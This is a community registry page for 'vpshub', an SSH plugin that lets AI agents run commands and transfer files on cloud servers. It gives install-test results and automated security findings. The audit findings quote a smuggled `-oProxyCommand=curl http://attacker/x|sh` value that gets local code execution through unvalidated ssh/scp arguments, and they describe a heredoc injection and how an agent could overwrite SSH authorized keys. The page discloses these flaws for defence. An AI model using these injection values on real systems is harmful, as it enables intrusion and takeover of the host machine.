Install verification: sandbox install failed (L4) · tested on dsh 0.2.2-rc.1 · last checked Install verification details →
Data as of (UTC)
What it doesAI
SSH ledger plugin enabling agents to discover, test, execute on, and transfer files to cloud servers.
- Manage VPS connections via SSH ledger
- Execute commands on cloud servers
- Transfer files with local key references
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-vps-hubInstall method: GitHub · sandbox install failed (L4) · verified on dsh 0.2.2-rc.1
Trends
Four lines, four questions: total stars, stars gained this week, cumulative downloads, downloads this week. The GitHub pair comes from real-read sampling — a rotating daily shard, so one plugin is re-read roughly every 5–14 days, sparser than npm; the npm pair has a value on every snapshot day. The two cumulative panels are smoothed curves with no sample markers; the two weekly panels keep their raw bars and add a 4-week moving-average trend line that strips single-week noise down to the direction of travel.
4 samples (roughly every 12 days), 2 of them reconstructed (dashed runs); a smoothed curve through every sample — not a daily series
09-18 → 11-04 · 4 points
Bars = the delta between two samples 5–14 days apart (negative points down, faint bars contain reconstructed points); line = 4-week moving-average trend
Only 2 points (< 3): no chart yet
10-02 → 10-14 · 2 points
Reconstructed backwards from the current total using daily downloads (gaps are not interpolated)
09-17 → 11-15 · 39 points
Bars = the snapshot’s last-week rolling window (official npm + npmmirror combined); line = 4-week moving-average trend — the shape of weekly demand, not a user count
09-17 → 11-16 · 40 points
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on 1 requirement(s) across 1 @deepseek-ai/dsh-* packages. raw ranges
^0.1.0-rc.6 ×1
✗ Running dsh 0.2.2-rc.3 is outside the declared range — the official install gate rejects it (incompatible-version).
To force-install, grant an exact-version exemption: dsh plugin allow-version vpshub@0.1.8 0.2.2-rc.3 (the exemption lives in the local profile; this site does not assume one)
Deciding channel: no engines.dsh declared, so every dsh* peer is checked (workspace:^ | ~ | * counts as the running version).
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin \ dsh | dsh 0.2.2-rc.1 | dsh 0.2.1-rc.5 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 |
|---|---|---|---|---|---|
| 0.1.8 | · | · | ○ | ○ | ○ |
| v0.1.8 | · | · | · | · | · |
0.1.8npm2026-11-14
dsh-vps-hub
○dsh 0.2.1-alpha.42026-10-17not tested
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-17 · expires: 2026-10-24
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.1-alpha.22026-10-11not tested
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-11 · expires: 2026-10-18
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.0-rc.22026-10-09not tested
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-09 · expires: 2026-10-16
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.2.0-rc.12026-09-29not tested
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.2.0-rc.1 · profile: l4-sandbox
Issued: 2026-09-29 · expires: 2026-10-06
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.22026-09-25not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-25 · expires: 2026-10-02
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.7-rc.12026-09-24not tested
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.1.7-rc.1 · profile: l4-sandbox
Issued: 2026-09-24 · expires: 2026-10-01
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.22026-09-20not tested
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.1.6-alpha.2 · profile: l3-fullscan
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.6-alpha.12026-09-16not tested
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-16 · expires: 2026-09-23
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○prehistory2026-10-05not tested
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · dsh-vps-hub@0.1.8
ID: vpshub@0.1.8@dshunknown · profile: l4-sandbox
Issued: 2026-10-05 · expires: 2026-10-12
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v0.1.8github2026-09-11
https://github.com/Sdongmaker/vpshub
○dsh 0.1.5-rc.22026-09-11not tested
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/Sdongmaker/vpshub#v0.1.8
ID: vpshub@v0.1.8@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-11 · expires: 2026-09-18
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.22026-09-08not tested
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • Plugin artifact: github · https://github.com/Sdongmaker/vpshub#v0.1.8
ID: vpshub@v0.1.8@dsh0.1.3-alpha.2 · profile: l4-sandbox
Issued: 2026-09-08 · expires: 2026-09-15
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.3-alpha.12026-09-07not tested
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.1
- • Plugin artifact: github · https://github.com/Sdongmaker/vpshub#v0.1.8
ID: vpshub@v0.1.8@dsh0.1.3-alpha.1 · profile: l4-sandbox
Issued: 2026-09-07 · expires: 2026-09-14
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
○dsh 0.1.2-rc.12026-09-05not tested
- • Node.js: v24.14.0
- • DSH: 0.1.2-rc.1
- • Plugin artifact: github · https://github.com/Sdongmaker/vpshub#v0.1.8
ID: vpshub@v0.1.8@dsh0.1.2-rc.1 · profile: l3-fullscan
Issued: 2026-09-05 · expires: 2026-09-12
View checks & evidence
ecosystem plugin: no dsh.bundle declaration
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/vpshub/?ref=badge)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v0.1.8v0.1.8git2026-11-17v0.1.8same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (8)
- criticalsshWrite · destructive
examples/dynamic-plugin/client.js:68keyPath: 'Key path', keyPathPh: '~/.ssh/id_ed25519 (path only)', - criticalsshWrite · destructive
examples/dynamic-plugin/client.js:87keyPath: '私钥路径', keyPathPh: '~/.ssh/id_ed25519 (仅路径)', - criticalsshWrite · destructive
examples/dynamic-plugin/host.js:449identityFile: { type: 'string', description: 'Private key file path, e.g. ~/.ssh/id_ed25519' }, - criticalsshWrite · destructive
src/index.js:414identityFile: { type: 'string', description: 'Private key file path, e.g. ~/.ssh/id_ed25519' }, - warningchildProcessImport · code-exec
src/index.js:15import { execFile } from 'node:child_process' - warningfsWrite · files
src/index.js:80fs.writeFileSync(file, content.endsWith('\n') ? content : content + '\n', { mode: 0o600 }) - warningfsWrite · files
src/index.js:92fs.writeFileSync(file, '#!/bin/sh\necho "$VPS_PASSWORD"\n', { mode: 0o700 }) - warningfsWrite · files
src/index.js:157fs.writeFileSync(fd, JSON.stringify(data, null, 2))
show 3 audit findings
- highUnvalidated host/username becomes an ssh option: -oProxyCommand argument injection → local command execution
src/index.js:307In the packaged plugin the model-supplied `host` (and `username`) are never validated (the SAFE_HOST_RES checks that exist in examples/dynamic-plugin/host.js are absent from src/index.js), and sshArgs passes sshDest(t) as a bare argument with no `--` end-of-options terminator. ssh parses argv with getopt, so a value such as `-oProxyCommand=curl http://attacker/x|sh` (host with no username) is consumed as an ssh option and ProxyCommand is executed through the local shell — arbitrary local code execution as the DSH process, bypassing the SAFE_PROXY_RE whitelist that was explicitly added to preve
- highscp paths passed without `--`: leading-dash localPath is parsed as an scp option (-oProxyCommand)
src/index.js:327vps_upload/vps_download forward the model-supplied localPath (and remotePath) verbatim into the scp argv. Because no `--` terminator is used and scp parses options with getopt, a localPath of the form `-oProxyCommand=curl http://attacker/x|sh` is treated as an scp option, and scp/ssh executes ProxyCommand through /bin/sh — local arbitrary command execution that completely bypasses the SAFE_PROXY_RE character whitelist. The same primitive lets the agent write downloaded attacker content to any local path (e.g. ~/.ssh/authorized_keys) without any restriction. Reachable from any scripted/prompt-i
- mediumExample host half embeds pasted key content in a shell heredoc; a KEYEOF line breaks out into shell commands
examples/dynamic-plugin/host.js:87This file is not loaded by the package entry point (package.json main/exports point only at src/index.js), but it is shipped under "files": ["src","examples"] and the header explicitly tells users to paste it into cordis_define; it then registers the same eight tools through a string-based `shell` service. `identityKeyContent` is model-controllable, and a value whose line is exactly `KEYEOF` terminates the heredoc, so the following lines run as local shell commands (the ui-only-host.js file has the identical helper). The packaged src/index.js path writes the key with fs.writeFileSync and is no
No '--' or host validation in ssh/scp argv: a leading-dash host or localPath becomes -oProxyCommand → local RCE; the example host half injects pasted key content into a shell heredoc.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-08-14 · activity: Inactive
• Repo created: 2026-08-13
• Stars: ★ 1 · Forks: 0
• Health: Inactive — no commit in 90+ days
Source
GitHub: github.com/Sdongmaker/vpshub
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is vpshub?
vpshub is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install vpshub?
Run dsh plugin --profile web add github:Sdongmaker/vpshub#v0.1.8 in a DeepSeek Harness (dsh) environment. The command is parsed from the plugin manifest and its install spec is verified (L3); runtime sandbox install testing may not have run yet.
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-11-17 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.
